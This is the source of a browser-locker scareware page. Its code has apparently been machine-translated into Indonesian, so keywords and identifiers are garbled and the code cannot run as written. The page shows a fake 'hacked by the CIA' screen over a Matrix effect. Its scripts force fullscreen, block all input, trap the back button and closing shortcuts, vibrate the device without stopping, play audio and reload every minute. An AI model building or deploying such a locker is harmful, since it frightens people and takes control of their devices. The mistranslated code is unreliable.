SISTEM TERKUNCI REV /* Bagian Reset Total(bebas Ganti Nama) */ html, badan { batas: 0; bantalan: 0; lebar: 100%; tinggi: 100%; overflow: tersembunyi! Penting; /* Tambahan: Penting untuk mengunci gulir */ latar belakang: #000; aksi sentuh: tidak ada !penting; /* Tambahan: Lebih agresif */ -webkit-touch-callout: tidak ada; -webkit-user-select: tidak ada; -khtml-user-select: tidak ada; -moz-user-select: tidak ada; -ms-user-select: tidak ada; pilih-pengguna: tidak ada; posisi: tetap; kursor: tidak ada !penting; /* Tambahan: Sembunyikan kursor */ } /* Bagian Hujan Matrix(Bebas Ganti Nama) */ #matriks { posisi: tetap; atas: 0; kiri: 0; z-indeks: 1; opasitas: 0,7; } /* Bagian Layer Utama(Bebas Ganti Nama) */ #layarterkunci { posisi: tetap; atas: 0; kiri: 0; lebar: 100%; tinggi: 100%; z-indeks: 2; tampilan: fleksibel; arah-fleksibel: kolom; justify-content: tengah; sejajarkan-item: tengah; warna: #0f0; teks-ratakan: tengah; font-family: 'Courier Baru', monospace; bayangan teks: 0 0 10px #0f0; acara penunjuk: tidak ada; /* Tambahan: Tidak bisa diklik */ } /* ANTI KELUAR */ #antiKeluar { tampilan: tidak ada; posisi: tetap; atas: 0; kiri: 0; lebar: 100%; tinggi: 100%; latar belakang: rgba(0,0,0,0.9); indeks z: 9999; warna: merah; ukuran font: 2em; justify-content: tengah; sejajarkan-item: tengah; arah-fleksibel: kolom; acara penunjuk: tidak ada; /* Tambahan: Tidak bisa diklik saat tampil */ } /* PEMBLOKIR NOTIF */ #pemblokir notifikasi { posisi: tetap; atas: 0; kiri: 0; lebar: 100%; tinggi: 30px; latar belakang: hitam; indeks z: 10000; tampilan: tidak ada; acara penunjuk: tidak ada; /* Tambahan: Tidak bisa diklik */ } /* TOMBOL GAYA */ #aksiBtn { margin-atas: 30px; bantalan: 15px 30px; latar belakang: transparan; batas: 2px padat #0f0; warna: #0f0; font-family: 'Courier Baru', monospace; ukuran font: 1.2em; /* kursor: tidak ada; */ /* Akan ditangani di body */ animasi: cahaya 2s tak terbatas; acara penunjuk: otomatis; /* Agar tombol bisa diklik meskipun parentnya pointer-events:none */ } @keyframes bersinar { 0%, 100% { opasitas: 1; bayangan kotak: 0 0 10px #0f0; } 50% { opasitas: 0,7; bayangan kotak: 0 0 20px #0f0; } }

DI-HACK OLEH INTELIJEN PUSAT

Sistem Anda sedang diambil alih oleh CIA.

CIA-ORG Bahasa Indonesia:

AKSES DITOLAK

Kembali ke mode aman...

Bahasa Indonesia:
// ====================== SISTEM INTI ====================== biarkan isLocked = salah; const antiExit = dokumen.getElementById('antiExit'); const notifBlocker = dokumen.getElementById('notifBlocker'); const audio = dokumen.getElementById('bgSound'); biarkan getarInterval = null; // Variabel untuk menyimpan interval getar // biarkan lockdownActive = false; // Variabel ini tidak digunakan, bisa dihapus // Fungsi utilitas untuk mencegah kejadian fungsi blockEvent(e) { e.mencegahDefault(); e.hentikanPropagasi(); e.hentikanPropagasiSegera(); kembali salah; } // 1. INISIASI LAYAR PENUH STEALTH (Lebih besar) fungsi stealthFullscreen() { if (!document.fullscreenElement) {//Hanya request jika belum fullscreen const el = dokumen.documentElement; metode konstan = [ 'permintaanLayarPenuh', 'webkitRequestLayar Penuh', 'mozRequestLayarPenuh', 'msRequestLayar Penuh' Bahasa Indonesia: metode.forEach(metode => { jika (el[metode]) { mencoba { el[metode]({navigationUI: "sembunyikan"}).catch(e => { // Gagal, mungkin karena pengguna tidak berinteraksi, coba lagi nanti console.warn("Permintaan layar penuh gagal (kemungkinan belum ada interaksi pengguna):", e); }); } tangkap(e) { console.error("Kesalahan saat memanggil metode layar penuh:", e); } } }); } } // Fungsi untuk memulai getaran fungsi startVibration() { jika ("getar" di navigator) { // Getaran yang kuat (misalnya, getar 200ms, jeda 50ms) secara berulang // Pola getaran: [getar_durasi, jeda_durasi, getar_durasi, jeda_durasi, ...] // Untuk getaran "besar" atau kuat, gunakan durasi yang lebih panjang pola const = [2000, 50]; // Getar 2 detik, jeda 50ms intervalgetar = atur interval(() => { navigator.vibrate(pola); }, 2050); // Ulangi setiap 2050ms (durasi pola + jeda ekstra) console.log("Getaran dimulai."); } kalau tidak { console.warn("API Getaran tidak didukung pada perangkat/browser ini."); } } // Fungsi untuk menghentikan getaran (opsional, untuk debugging atau jika ingin ada cara berhenti) fungsi hentikan getaran() { jika (intervalgetar) { clearInterval(intervalgetar); intervalgetar = null; jika ("getar" di navigator) { navigator.getar(0); // Menghentikan getaran yang sedang berlangsung } console.log("Getaran berhenti."); } } // 2. TOTAL SYSTEM LOCKDOWN (Blokir lebih banyak interaksi) fungsi aktifkanLockdown() { jika (terkunci) kembali; // Pastikan hanya dijalankan sekali isLocked = benar; // Blokir semua interaksi secara menyeluruh pada dokumen // Peristiwa yang diblokir: mouse, sentuh, keyboard, penunjuk, gulir, menu konteks const acara yang akan diblokir = [ 'klik', 'klik ganda', 'turunkan tetikus', 'naikkan tetikus', 'gerakkan tetikus', 'roda', 'gulir', 'mulai sentuh', 'akhir sentuh', 'pindah sentuh', 'batalkan sentuh', 'menekan tombol', 'menaikkan tombol', 'menekan tombol', 'pointerdown', 'pointerup', 'pointermove', 'pointercancel', 'pointerleave', 'pointerenter', 'contextmenu', // Klik kanan 'selectstart' // Mencegah pemilihan teks Bahasa Indonesia: peristiwa yang akan diblokir.untuk setiap(evt => { document.addEventListener(evt, blockEvent, {capture: benar, pasif: salah}); }); // Coba aktifkan layar penuh silumanLayar Penuh(); // Aktifkan pemblokir notifikasi notifBlocker.style.display = 'blokir'; // Mainkan audio (pastikan id audio benar) jika (audio) { audio.volume = 0,3; audio.putar().tangkap(e => { console.warn("Putar otomatis audio diblokir, memerlukan interaksi pengguna:", e); }); } // Mulai getaran perangkat mulaiGetaran(); // Interval untuk memastikan layar penuh tetap aktif mengaturInterval(() => { jika (!dokumen.elemenlayarpenuh) { silumanLayar Penuh(); } }, 500); // peristiwa blur (perpindahan tab/jendela) jendela.addEventListener('kabur', () => { jika (terkunci) { // Kembali ke halaman jika pengguna mencoba pindah tab jendela.fokus(); // Coba fokus ulang jendela stealthLayar Penuh(); // Paksa layar penuh lagi tampilkanAntiKeluar(); // Tampilkan pesan anti-keluar } }); // menampilkan shortcut keyboard yang umum (Ctrl+W, Alt+F4, F12, dsb.) dokumen.addEventListener('keydown', (e) => { jika (terkunci) { //Alt+F4, Ctrl+W, Ctrl+Shift+I, F12, Melarikan Diri jika (e.altKey dan e.tombol === 'F4' || (tombol e.ctrlKey dan tombol e === 'w') || (tombol e.ctrlKey dan tombol e.shiftKey dan tombol e.key === 'I') || (e.tombol === 'F12') || (e.key === 'Escape')) { // Escape untuk keluar layar penuh tapi kita diblokir blokEvent(e); tampilkanAntiKeluar(); //Tampilkan anti-keluar } } }, {tangkapan: benar, pasif: salah}); } // 3. ANTI EXIT SYSTEMS (Sistem anti-keluar lebih agresif) fungsi initAntiExit() { // Blokir tombol kembali sejarah.pushState(null, null, lokasi.href); jendela.onpopstate = () => { history.pushState(null, null, location.href); // Push lagi ke history tampilkanAntiKeluar(); // Tampilkan Anti-Keluar stealthLayar Penuh(); // Paksa layar penuh lagi Bahasa Indonesia: }; // Deteksi perubahan visibilitas (tab beralih) dokumen.addEventListener('perubahanvisibilitas', () => { jika (dokumen.visibilityState !== 'terlihat' && terkunci) { tampilkanAntiExit(); silumanLayar Penuh(); } jika tidak (dokumen.visibilityState === 'terlihat' && terkunci) { // Jika kembali terlihat, pastikan fullscreen aktif silumanLayar Penuh(); } }); // Deteksi resize (jika keluar dari fullscreen secara paksa) jendela.addEventListener('ubah ukuran', () => { jika (!dokumen.elemenlayarpenuh &&terkunci) { tampilkanAntiExit(); silumanLayar Penuh(); } }); } fungsi showAntiExit() { antiExit.style.display = 'fleksibel'; stealthFullscreen(); // Pastikan layar penuh tetapkanWaktuHabis() => { antiExit.style.display = 'tidak ada'; if (!document.fullscreenElement) {// Jika setelah timeout masih belum fullscreen stealthLayar Penuh(); // Coba lagi } Bahasa Indonesia: }, 2000); } // 4. MATRIX EFFECT (Tidak berubah banyak, visual saja) fungsi initMatrix() { const kanvas = document.getElementById('matriks'); const ctx = kanvas.getContext('2d'); kanvas.lebar = lebar jendela.dalam; kanvas.tinggi = jendela.tinggidalam; konstanta chars = "01"; const ukuran font = 14; const kolom = lebar kanvas / ukuranfont; konstanta tetes = []; untuk (biarkan i = 0; i < kolom; i++) tetes[i] = 1; fungsi menggambar() { ctx.fillStyle = 'rgba(0, 0, 0, 0,05)'; ctx.fillRect(0, 0, lebar.kanvas, tinggi.kanvas); ctx.fillStyle = '#0f0'; ctx.font = fontSize + 'px monospace'; untuk (biarkan i = 0; i < panjang tetes; i++) { const teks = chars[Matematika.lantai(Matematika.acak() * chars.panjang)]; ctx.fillText(teks, i * ukuranfont, drops[i] * ukuranfont); jika (drops[i] * fontSize * 1.5 > canvas.height dan Math.random() > 0.975) drops[i] = 0; // Reset lebih cepat tetes[i]++; } } setInterval(gambar, 33); // Tambahkan ubah ukuran pendengar ke matriks kanvas jendela.addEventListener('ubah ukuran', () => { kanvas.lebar = lebar jendela.dalam; kanvas.tinggi = jendela.tinggidalam; // Reset array drop untuk jumlah kolom baru const newColumns = lebar kanvas / ukuran font; untuk (biarkan i = 0; i < kolom baru; i++) tetes[i] = tetes[i] || 1; // Pertahankan yang ada, inisialisasi baru tetes.panjang = kolom baru; }); } // ====================== INISIALISASI ====================== dokumen.addEventListener('DOMContentLoaded', () => { // Mulai efek matrix initMatrix(); // Inisialisasi sistem anti keluar initAntiExit(); // Coba layar penuh diam-diam di awal silumanLayar Penuh(); // Setelah interaksi awal, aktifkan lockdown penuh const actionBtn = dokumen.getElementById('actionBtn'); jika (actionBtn) { actionBtn.addEventListener('klik', () => { stealthLayar Penuh(); // Coba fullscreen lagi setelah klik aktifkanLockdown(); }); } // Tangkap semua interaksi di tubuh untuk mengaktifkan lockdown // Event ini perlu dijalankan sekali untuk mengaktifkan lockdown document.body.addEventListener('klik', aktifkanLockdown, {sekali: benar}); document.body.addEventListener('touchstart', activateLockdown, {sekali: benar}); document.body.addEventListener('keydown', activateLockdown, {sekali: benar}); // Perbaiki ID audio, dari 'bgSound' menjadi 'audio' // Cek elemen audio agar tidak error jika tidak ada ID 'bgSound' di HTML jika (audio) { audio.addEventListener('putar', () => { console.log("Audio sedang diputar."); }); audio.addEventListener('kesalahan', (e) => { console.error("Kesalahan pemutaran audio:", e); }); } }); // Auto reload setiap 1 menit sebagai fallback (tetap bertahan) tetapkanWaktuHabis() => { if (isLocked) { // Hanya muat ulang jika masih terkunci lokasi.reload(); } }, 60000); Bahasa Indonesia: